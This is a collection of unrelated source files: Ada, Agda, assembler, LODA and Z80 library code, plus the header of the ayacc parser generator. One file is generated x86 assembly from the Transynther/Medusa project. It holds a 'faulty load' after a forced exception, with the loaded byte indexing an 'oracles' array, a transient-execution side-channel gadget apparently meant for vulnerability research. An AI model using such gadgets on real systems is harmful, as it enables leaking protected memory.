--ONLY IF ANY NUMERAL PRECEEDING IS AT LEAST TEN TIMES LARGER.
--NOT VIX FOR 14, BUT XIV.
--NOT IIX, BUT VIII.
--ONLY IF ANY NUMERAL FOLLOWING IS SMALLER.
--NOT XCL FOR 140, BUT CXL.
--
J := S'Last;
Evaluate :
while J >= S'First loop
--
--Legal in the Ones position
-- I
-- II
-- III
-- IIII IV
-- V
-- VI
-- VII
-- VIII
-- VIIII IX
--
--
-- Ones
if S (J) = 'I' then
Total := Total + 1;
J := J - 1;
exit Evaluate when J < S'First;
while S (J) = 'I' loop
Total := Total + 1;
if Total >= 5 then
raise Invalid;
end if;
J := J - 1;
exit Evaluate when J < S'First;
end loop;
end if;
if S (J) = 'V' then
Total := Total + 5;
J := J - 1;
exit Evaluate when J < S'First;
if S (J) = 'I' and Total = 5 then
Total := Total - 1;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'I' or S (J) = 'V' then
raise Invalid;
end if;
end if;
--
--Legal in the tens position
-- X
-- XX
-- XXX
-- XXXX XL
-- L
-- LX
-- LXX
-- LXXX
-- LXXXX XC
--
-- Tens
if S (J) = 'X' then
Total := Total + 10;
J := J - 1;
exit Evaluate when J < S'First;
while S (J) = 'X' loop
Total := Total + 10;
if Total >= 50 then
raise Invalid;
end if;
J := J - 1;
exit Evaluate when J < S'First;
end loop;
if S (J) = 'I' and Total = 10 then
Total := Total - 1;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'I' or S (J) = 'V' then
raise Invalid;
end if;
end if;
if S (J) = 'L' then
Total := Total + 50;
J := J - 1;
exit Evaluate when J < S'First;
if S (J) = 'X' and Total <= 59 then
Total := Total - 10;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'I' or S (J) = 'V'
or S (J) = 'X' or S (J) = 'L'
then
raise Invalid;
end if;
if S (J) = 'C' then
Total := Total + 100;
J := J - 1;
exit Evaluate when J < S'First;
if S (J) = 'X' and Total = 100 then
Total := Total - 10;
J := J - 1;
exit Evaluate when J < S'First;
end if;
end if;
if S (J) = 'I' or S (J) = 'V' or
S (J) = 'X' or S (J) = 'L'
then
raise Invalid;
end if;
end if;
if S (J) = 'C' then
Total := Total + 100;
J := J - 1;
exit Evaluate when J < S'First;
while S (J) = 'C' loop
Total := Total + 100;
if Total >= 500 then
raise Invalid;
end if;
J := J - 1;
exit Evaluate when J < S'First;
end loop;
if S (J) = 'X' and Total <= 109 then
Total := Total - 10;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'I' or S (J) = 'V' or
S (J) = 'X' or S (J) = 'L'
then
raise Invalid;
end if;
end if;
if S (J) = 'D' then
Total := Total + 500;
J := J - 1;
exit Evaluate when J < S'First;
if S (J) = 'C' and Total <= 599 then
Total := Total - 100;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'M' then
Total := Total + 1000;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'C' and Total <= 1099 then
Total := Total - 100;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'I' or S (J) = 'V' or
S (J) = 'X' or S (J) = 'L' or S (J) = 'C' or S (J) = 'D'
then
raise Invalid;
end if;
end if;
if S (J) = 'M' then
Total := Total + 1000;
J := J - 1;
exit Evaluate when J < S'First;
while S (J) = 'M' loop
Total := Total + 1000;
if Total >= 5000 then
raise Invalid;
end if;
J := J - 1;
exit Evaluate when J < S'First;
end loop;
if S (J) = 'C' and Total <= 1099 then
Total := Total - 100;
J := J - 1;
exit Evaluate when J < S'First;
end if;
if S (J) = 'I' or S (J) = 'V' or
S (J) = 'X' or S (J) = 'L' or S (J) = 'C' or S (J) = 'D'
then
raise Invalid;
end if;
end if;
end loop Evaluate;
end if; -- On Only Roman digits
return Total;
exception
when Invalid =>
return 0;
when Constraint_Error =>
return 0;
end Roman_Number;
procedure Roman_Numerals
(Input_Word : String;
Pa : in out Parse_Array;
Pa_Last : in out Integer;
Xp : in out Explanations) is
W : constant String := Trim (Input_Word);
Roman_Number_W : constant Integer := Roman_Number (W);
begin
if Only_Roman_Digits (W) and then (Roman_Number_W /= 0) then
Pa_Last := Pa_Last + 1;
Pa (Pa_Last) := (Stem => Head (W, Max_Stem_Size),
IR => (
Qual => (
Pofs => Num,
Num => (
Decl => (2, 0),
Of_Case => X,
Number => X,
Gender => X,
Sort => Card)),
Key => 0,
Ending => Null_Ending_Record,
Age => X,
Freq => A),
D_K => Rrr,
MNPC => Null_MNPC);
Xp.Rrr_Meaning := Head (Integer'Image (Roman_Number_W) &
" as a ROMAN NUMERAL;",
Max_Meaning_Size);
else
null; -- Is not ROMAN NUMERAL, so go on and try something else
end if;
end Roman_Numerals;
function Bad_Roman_Number (S : String) return Natural is
-- Determines and returns the value of a Roman numeral, or 0 if invalid
-- This seems to allow all of Caesar's. Actually there are no rules
-- if you look at some of the 12-15 century stuff
Total : Integer := 0;
Decremented_From : Integer := 0;
begin
-- Already known that all the Characters may be valid numerals
-- Loop over the String to check validity, start with second place
--PUT_LINE (" In function BAD_ROMAN_NUMBER ");
--PUT_LINE (" BEFORE LOOP S = " & S);
Total := Value (S (S'Last));
Decremented_From := Value (S (S'Last));
for I in reverse S'First .. S'Last - 1 loop
if Value (S (I)) < Value (S (I + 1)) then
-- Decrement
Total := Total - Value (S (I));
Decremented_From := Value (S (I + 1));
elsif Value (S (I)) = Value (S (I + 1)) then
if Value (S (I)) < Decremented_From then
Total := Total - Value (S (I)); -- IIX = 8 !
else
Total := Total + Value (S (I));
end if;
elsif Value (S (I)) > Value (S (I + 1)) then
Total := Total + Value (S (I));
Decremented_From := Value (S (I + 1));
end if;
end loop;
if Total > 0 then
return Total;
else
return 0;
end if;
exception
when others =>
return 0;
end Bad_Roman_Number;
end Words_Engine.Roman_Numerals_Package;
|
Cubical/Structures/Parameterized.agda
|
RobertHarper/cubical
| 0 |
3789
|
<filename>Cubical/Structures/Parameterized.agda<gh_stars>0
{-
A parameterized family of structures S can be combined into a single structure:
X ↦ (a : A) → S a X
-}
{-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Structures.Parameterized where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Functions.FunExtEquiv
open import Cubical.Foundations.SIP
module _ {ℓ ℓ₁ ℓ₂} (A : Type ℓ) where
ParamStructure : (S : A → Type ℓ₁ → Type ℓ₂)
→ Type ℓ₁ → Type (ℓ-max ℓ ℓ₂)
ParamStructure S X = (a : A) → S a X
ParamEquivStr : {S : A → Type ℓ₁ → Type ℓ₂} {ℓ₃ : Level}
→ (∀ a → StrEquiv (S a) ℓ₃) → StrEquiv (ParamStructure S) (ℓ-max ℓ ℓ₃)
ParamEquivStr ι (X , l) (Y , m) e = ∀ a → ι a (X , l a) (Y , m a) e
ParamUnivalentStr : {S : A → Type ℓ₁ → Type ℓ₂} {ℓ₃ : Level}
(ι : ∀ a → StrEquiv (S a) ℓ₃) (θ : ∀ a → UnivalentStr (S a) (ι a))
→ UnivalentStr (ParamStructure S) (ParamEquivStr ι)
ParamUnivalentStr ι θ e = compEquiv (equivPi λ a → θ a e) funExtEquiv
|
theorems/cohomology/MayerVietoris.agda
|
cmknapp/HoTT-Agda
| 0 |
2362
|
<reponame>cmknapp/HoTT-Agda
{-# OPTIONS --without-K #-}
open import HoTT
open import cohomology.FunctionOver
open import homotopy.elims.CofPushoutSection
module cohomology.MayerVietoris {i} where
{- Mayer-Vietoris Sequence: Given a span X ←f– Z –g→ Y, the cofiber space
of the natural map [reglue : X ∨ Y → X ⊔_Z Y] (defined below) is equivalent
to the suspension of Z. -}
{- Relevant functions -}
module MayerVietorisFunctions (ps : ⊙Span {i} {i} {i}) where
open ⊙Span ps
module Reglue = ⊙WedgeRec (⊙left ps) (⊙right ps)
reglue : X ∨ Y → fst (⊙Pushout ps)
reglue = Reglue.f
⊙reglue : fst (X ⊙∨ Y ⊙→ ⊙Pushout ps)
⊙reglue = Reglue.⊙f
module MVDiff = SuspensionRec (fst Z) {C = Suspension (X ∨ Y)}
(north _)
(north _)
(λ z → merid _ (winl (fst f z)) ∙ ! (merid _ (winr (fst g z))))
mv-diff : Suspension (fst Z) → Suspension (X ∨ Y)
mv-diff = MVDiff.f
⊙mv-diff : fst (⊙Susp Z ⊙→ ⊙Susp (X ⊙∨ Y))
⊙mv-diff = (mv-diff , idp)
{- We use path induction (via [⊙pushout-J]) to assume that the
basepoint preservation paths of the span maps are [idp]. The module
[MayerVietorisBase] contains the proof of the theorem for this case. -}
module MayerVietorisBase
{A B : Type i} (Z : Ptd i) (f : fst Z → A) (g : fst Z → B) where
X = ⊙[ A , f (snd Z) ]
Y = ⊙[ B , g (snd Z) ]
ps = ⊙span X Y Z (f , idp) (g , idp)
F : fst (Z ⊙→ X)
F = (f , idp)
G : fst (Z ⊙→ Y)
G = (g , idp)
open MayerVietorisFunctions ps
{- Definition of the maps
into : Cofiber reglue → ΣZ
out : ΣZ → Cofiber reglue
-}
private
into-glue-square :
Square idp idp (ap (ext-glue ∘ reglue) wglue) (merid _ (snd Z))
into-glue-square =
connection ⊡v∙
! (ap-∘ ext-glue reglue wglue
∙ ap (ap ext-glue) (Reglue.glue-β ∙ !-! (glue (snd Z)))
∙ ExtGlue.glue-β (snd Z))
module IntoGlue = WedgeElim {P = λ xy → north _ == ext-glue (reglue xy)}
(λ _ → idp)
(λ _ → merid _ (snd Z))
(↓-cst=app-from-square into-glue-square)
into-glue = IntoGlue.f
module Into = CofiberRec reglue (north _) ext-glue into-glue
private
out-glue-and-square : (z : fst Z)
→ Σ (cfbase reglue == cfbase reglue)
(λ p → Square (cfglue _ (winl (f z))) p
(ap (cfcod _) (glue z)) (cfglue _ (winr (g z))))
out-glue-and-square z = fill-square-top _ _ _
out-glue = fst ∘ out-glue-and-square
out-square = snd ∘ out-glue-and-square
module Out = SuspensionRec (fst Z) {C = Cofiber reglue}
(cfbase _)
(cfbase _)
out-glue
into = Into.f
out = Out.f
{- [out] is a right inverse for [into] -}
private
into-out-sq : (z : fst Z) →
Square idp (ap into (ap out (merid _ z))) (merid _ z) (merid _ (snd Z))
into-out-sq z =
(ap (ap into) (Out.glue-β z) ∙v⊡
(! (Into.glue-β (winl (f z)))) ∙h⊡
ap-square into (out-square z)
⊡h∙ (Into.glue-β (winr (g z))))
⊡v∙ (∘-ap into (cfcod _) (glue z) ∙ ExtGlue.glue-β z)
into-out : ∀ σ → into (out σ) == σ
into-out = Suspension-elim (fst Z)
idp
(merid _ (snd Z))
(λ z → ↓-∘=idf-from-square into out (into-out-sq z))
{- [out] is a left inverse for [into] -}
{- [out] is left inverse on codomain part of cofiber space,
- i.e. [out (into (cfcod _ γ)) == cfcod _ γ] -}
private
out-into-cod-square : (z : fst Z) →
Square (cfglue reglue (winl (f z)))
(ap (out ∘ ext-glue {s = ⊙span-out ps}) (glue z))
(ap (cfcod _) (glue z)) (cfglue _ (winr (g z)))
out-into-cod-square z =
(ap-∘ out ext-glue (glue z)
∙ ap (ap out) (ExtGlue.glue-β z) ∙ Out.glue-β z)
∙v⊡ out-square z
module OutIntoCod = PushoutElim
{d = ⊙span-out ps} {P = λ γ → out (into (cfcod _ γ)) == cfcod _ γ}
(λ x → cfglue _ (winl x))
(λ y → cfglue _ (winr y))
(λ z → ↓-='-from-square (out-into-cod-square z))
out-into-cod = OutIntoCod.f
out-into : ∀ κ → out (into κ) == κ
out-into = CofPushoutSection.elim reglue
(λ _ → unit) (λ _ → idp)
idp
out-into-cod
(↓-='-from-square ∘ λ x →
(ap-∘ out into (cfglue _ (winl x))
∙ ap (ap out) (Into.glue-β (winl x)))
∙v⊡ connection
⊡v∙ ! (ap-idf (glue (winl x))))
(↓-='-from-square ∘ λ y →
(ap-∘ out into (cfglue _ (winr y))
∙ ap (ap out) (Into.glue-β (winr y))
∙ Out.glue-β (snd Z)
∙ square-top-unique (out-square (snd Z))
(! (ap-cst (cfbase _) wglue) ∙v⊡
natural-square (cfglue _) wglue
⊡v∙ (ap-∘ (cfcod _) reglue wglue
∙ ap (ap (cfcod _)) (Reglue.glue-β ∙ !-! (glue (snd Z))))))
∙v⊡ connection
⊡v∙ ! (ap-idf (glue (winr y))))
{- equivalence and path -}
eq : Cofiber reglue ≃ Suspension (fst Z)
eq = equiv into out into-out out-into
⊙eq : ⊙Cof ⊙reglue ⊙≃ ⊙Susp Z
⊙eq = ⊙≃-in eq idp
path = ua eq
⊙path = ⊙ua ⊙eq
{- Transporting [cfcod reglue] over the equivalence -}
cfcod-over : cfcod reglue == ext-glue
[ (λ W → fst (⊙Pushout ps) → fst W) ↓ ⊙path ]
cfcod-over = ↓-cst2-in _ _ $ codomain-over-equiv _ _
{- Transporting [ext-glue] over the equivalence. -}
ext-over : ext-glue == mv-diff
[ (λ W → fst W → fst (⊙Susp (X ⊙∨ Y))) ↓ ⊙path ]
ext-over = ↓-cst2-in _ _ $ ! (λ= fn-lemma) ◃ domain-over-equiv _ _
where
fn-lemma : ∀ κ → mv-diff (into κ) == ext-glue κ
fn-lemma = CofPushoutSection.elim reglue
(λ _ → unit) (λ _ → idp)
idp
(Pushout-elim
(λ x → merid _ (winl x))
(λ y → merid _ (winr y))
(↓-='-from-square ∘ λ z →
(ap-∘ mv-diff ext-glue (glue z)
∙ ap (ap mv-diff) (ExtGlue.glue-β z)
∙ MVDiff.glue-β z)
∙v⊡ (lt-square (merid _ (winl (f z)))
⊡h rt-square (merid _ (winr (g z))))
⊡v∙ ! (ap-cst (south _) (glue z))))
(↓-='-from-square ∘ λ x →
(ap-∘ mv-diff into (cfglue _ (winl x))
∙ ap (ap mv-diff) (Into.glue-β (winl x)))
∙v⊡ connection
⊡v∙ ! (ExtGlue.glue-β (winl x)))
(↓-='-from-square ∘ λ y →
(ap-∘ mv-diff into (cfglue _ (winr y))
∙ ap (ap mv-diff) (Into.glue-β (winr y))
∙ MVDiff.glue-β (snd Z)
∙ ap (λ w → merid _ w ∙ ! (merid _ (winr (g (snd Z))))) wglue
∙ !-inv-r (merid _ (winr (g (snd Z)))))
∙v⊡ connection
⊡v∙ ! (ExtGlue.glue-β (winr y)))
{- Main results -}
module MayerVietoris (ps : ⊙Span {i} {i} {i}) where
private
record Results (ps : ⊙Span {i} {i} {i}) : Type (lsucc i) where
open ⊙Span ps
open MayerVietorisFunctions ps public
field
eq : Cofiber reglue ≃ Suspension (fst Z)
⊙eq : ⊙Cof ⊙reglue ⊙≃ ⊙Susp Z
path : Cofiber reglue == Suspension (fst Z)
⊙path : ⊙Cof ⊙reglue == ⊙Susp Z
cfcod-over : cfcod reglue == ext-glue
[ (λ W → fst (⊙Pushout ps) → fst W) ↓ ⊙path ]
ext-over : ext-glue == mv-diff
[ (λ W → fst W → fst (⊙Susp (X ⊙∨ Y))) ↓ ⊙path ]
results : Results ps
results = ⊙pushout-J Results base-results ps
where
base-results : ∀ {A} {B} Z (f : fst Z → A) (g : fst Z → B) →
Results (⊙span _ _ Z (f , idp) (g , idp))
base-results Z f g = record {
eq = eq;
⊙eq = ⊙eq;
path = path;
⊙path = ⊙path;
cfcod-over = cfcod-over;
ext-over = ext-over}
where open MayerVietorisBase Z f g
open Results results public
|
assembler/marks.asm
|
paulscottrobson/RCA-Cosmac-VIP-III
| 1 |
7370
|
ConstBUF32 equ 65.12
ConstFL900 equ 33.52
ConstMIC51 equ 359.52
read "BUF32, Pass1 [sec]: ", buf32_1
read "FL900, Pass1 [sec]: ", fl900_1
read "MIC51, Pass1 [sec]: ", mic51_1
read "BUF32, Pass2 [sec]: ", buf32_2
read "FL900, Pass2 [sec]: ", fl900_2
read "MIC51, Pass2 [sec]: ", mic51_2
read "BUF32, Pass3 [sec]: ", buf32_3
read "FL900, Pass3 [sec]: ", fl900_3
read "MIC51, Pass3 [sec]: ", mic51_3
buf32 equ (buf32_1+buf32_2+buf32_3)/3.0
message "--> BUF32= \{BUF32}"
fl900 equ (fl900_1+fl900_2+fl900_3)/3.0
message "--> Fl900= \{FL900}"
mic51 equ (mic51_1+mic51_2+mic51_3)/3.0
message "--> MIC51= \{MIC51}"
marks equ ((ConstBUF32/buf32)+(ConstFL900/fl900)+(ConstMIC51/mic51))/3
message "--> Marks= \{MARKS}"
read "Clk [MHz]: ", ClkFreq
rel equ marks/ClkFreq
message "Rel=\{REL}"
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1209.asm
|
ljhsiun2/medusa
| 9 |
291
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xab64, %r11
nop
nop
nop
nop
nop
add $25697, %r14
mov (%r11), %rdx
nop
nop
nop
and $49685, %r12
lea addresses_UC_ht+0x91b0, %rbp
nop
nop
xor %rdx, %rdx
mov (%rbp), %r11d
nop
nop
nop
nop
nop
inc %r14
lea addresses_D_ht+0xf1ea, %rsi
lea addresses_WT_ht+0xf3ea, %rdi
xor %r14, %r14
mov $119, %rcx
rep movsq
nop
nop
sub $63058, %rdx
lea addresses_D_ht+0x18b0e, %rdi
nop
nop
nop
nop
xor $44865, %rsi
movb $0x61, (%rdi)
add %r11, %r11
lea addresses_WC_ht+0x19e4a, %rsi
lea addresses_D_ht+0x135ea, %rdi
nop
sub %r14, %r14
mov $109, %rcx
rep movsq
and $46156, %rbp
lea addresses_normal_ht+0x142d2, %rsi
lea addresses_WT_ht+0xa06a, %rdi
nop
nop
sub %r12, %r12
mov $63, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $30102, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r8
push %rbx
push %rcx
push %rdi
// Store
lea addresses_PSE+0x18b9a, %r11
sub $9701, %rdi
mov $0x5152535455565758, %r10
movq %r10, (%r11)
nop
nop
and %r11, %r11
// Store
mov $0xe6a, %r8
nop
nop
nop
nop
cmp $64307, %rbx
mov $0x5152535455565758, %r10
movq %r10, (%r8)
nop
nop
nop
nop
add %r13, %r13
// Load
lea addresses_US+0x110ea, %r13
clflush (%r13)
nop
nop
inc %rdi
vmovups (%r13), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %r11
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %r10
nop
nop
and %r10, %r10
// Load
lea addresses_normal+0x16932, %rcx
nop
nop
nop
nop
sub $1067, %r13
vmovups (%rcx), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r10
inc %r13
// Faulty Load
lea addresses_RW+0xe5ea, %r10
nop
nop
nop
xor %r8, %r8
movb (%r10), %bl
lea oracles, %r11
and $0xff, %rbx
shlq $12, %rbx
mov (%r11,%rbx,1), %rbx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
oeis/171/A171960.asm
|
neoneye/loda-programs
| 11 |
164968
|
<filename>oeis/171/A171960.asm
; A171960: Values of the 2-complement of n in ternary representation.
; Submitted by <NAME>
; 2,1,0,5,4,3,2,1,0,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,53,52,51,50,49,48,47,46,45,44,43,42,41,40,39,38,37,36,35,34,33,32,31,30,29,28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,161,160,159,158,157,156,155,154,153,152,151,150,149,148,147,146,145,144,143
sub $0,1
mov $1,2
lpb $0
sub $0,$1
mul $1,3
lpe
sub $1,$0
mov $0,$1
sub $0,1
|
Ada/inc/Problem_11.ads
|
Tim-Tom/project-euler
| 0 |
13724
|
<reponame>Tim-Tom/project-euler<filename>Ada/inc/Problem_11.ads
package Problem_11 is
procedure Solve;
end Problem_11;
|
oeis/127/A127905.asm
|
neoneye/loda-programs
| 11 |
83421
|
; A127905: Construct triangle in which n-th row is obtained by expanding (1+x+x^3)^n and take the next-to-central column.
; Submitted by <NAME>
; 0,1,2,3,8,25,66,168,456,1269,3490,9581,26544,73944,206220,576045,1613264,4527661,12725946,35818135,100950440,284869263,804726934,2275500998,6440230392,18242735800,51714552656,146705007762,416451994168,1182913436123,3361947373650,9560104032491,27199036633408,77419494767901,220465636698234,628078833364815,1790028448671816,5103509191556005,14555678810429882,41528159693759856,118520160207020680,338356321387260899,966234555813842574,2760013254368382655,7885961070699280448,22537609034749950330
mov $3,$0
mov $5,$0
add $5,1
lpb $5
mov $0,$3
sub $5,1
sub $0,$5
mov $1,$3
bin $1,$0
mul $0,2
add $0,1
mov $2,$5
bin $2,$0
mul $1,$2
add $4,$1
lpe
mov $0,$4
|
libsrc/_DEVELOPMENT/arch/sms/SMSlib/c/sdcc/UNSAFE_SMS_VRAMmemcpy128_callee.asm
|
jpoikela/z88dk
| 640 |
16439
|
<gh_stars>100-1000
; void UNSAFE_SMS_VRAMmemcpy128(unsigned int dst,void *src)
SECTION code_clib
SECTION code_SMSlib
PUBLIC _UNSAFE_SMS_VRAMmemcpy128_callee
EXTERN asm_SMSlib_UNSAFE_VRAMmemcpy128
_UNSAFE_SMS_VRAMmemcpy128_callee:
pop af
pop hl
pop de
push af
jp asm_SMSlib_UNSAFE_VRAMmemcpy128
|
data/mapObjects/RedsHouse2F.asm
|
AmateurPanda92/pokemon-rby-dx
| 9 |
20034
|
RedsHouse2F_Object:
db $a ; border block
db 1 ; warps
warp 7, 1, 2, REDS_HOUSE_1F
db 0 ; signs
db 0 ; objects
; warp-to
warp_to 7, 1, REDS_HOUSE_2F_WIDTH
|
tools/ayacc/src/ayacc.adb
|
svn2github/matreshka
| 24 |
18127
|
<filename>tools/ayacc/src/ayacc.adb
-- $Header: /cf/ua/arcadia/alex-ayacc/ayacc/src/RCS/ayacc.a,v 1.1 88/08/08 12:07:07 arcadia Exp $
--************************************************************************
-- ayacc
-- version 1.1
--
--***********************************************************************
--
-- Arcadia Project
-- Department of Information and Computer Science
-- University of California
-- Irvine, California 92717
--
-- Copyright (c) 1990 Regents of the University of California.
-- All rights reserved.
--
-- The primary authors of ayacc were <NAME> and <NAME>.
-- Enhancements were made by <NAME>.
-- Further enhancements were made by <NAME>.
--
-- Send requests for ayacc information to <EMAIL>
-- Send bug reports for ayacc to <EMAIL>
--
-- Redistribution and use in source and binary forms are permitted
-- provided that the above copyright notice and this paragraph are
-- duplicated in all such forms and that any documentation,
-- advertising materials, and other materials related to such
-- distribution and use acknowledge that the software was developed
-- by the University of California, Irvine. The name of the
-- University may not be used to endorse or promote products derived
-- from this software without specific prior written permission.
-- THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
-- IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
-- WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
-- Module : ayacc.ada
-- Component of : ayacc
-- Version : 1.2
-- Date : 11/21/86 12:28:24
-- SCCS File : disk21~/rschm/hasee/sccs/ayacc/sccs/sxayacc.ada
-- $Header: /cf/ua/arcadia/alex-ayacc/ayacc/src/RCS/ayacc.a,v 1.1 88/08/08 12:07:07 arcadia Exp $
-- $Log: ayacc.a,v $
--Revision 1.1 88/08/08 12:07:07 arcadia
--Initial revision
--
-- Revision 0.1 86/04/01 15:04:07 ada
-- This version fixes some minor bugs with empty grammars
-- and $$ expansion. It also uses vads5.1b enhancements
-- such as pragma inline.
--
--
-- Revision 0.0 86/02/19 19:00:49 ada
--
-- These files comprise the initial version of Ayacc
-- designed and implemented by <NAME> and <NAME>.
-- Ayacc has been compiled and tested under the Verdix Ada compiler
-- version 4.06 on a vax 11/750 running Unix 4.2BSD.
--
with Source_File,
Ayacc_File_Names,
Options,
Parser,
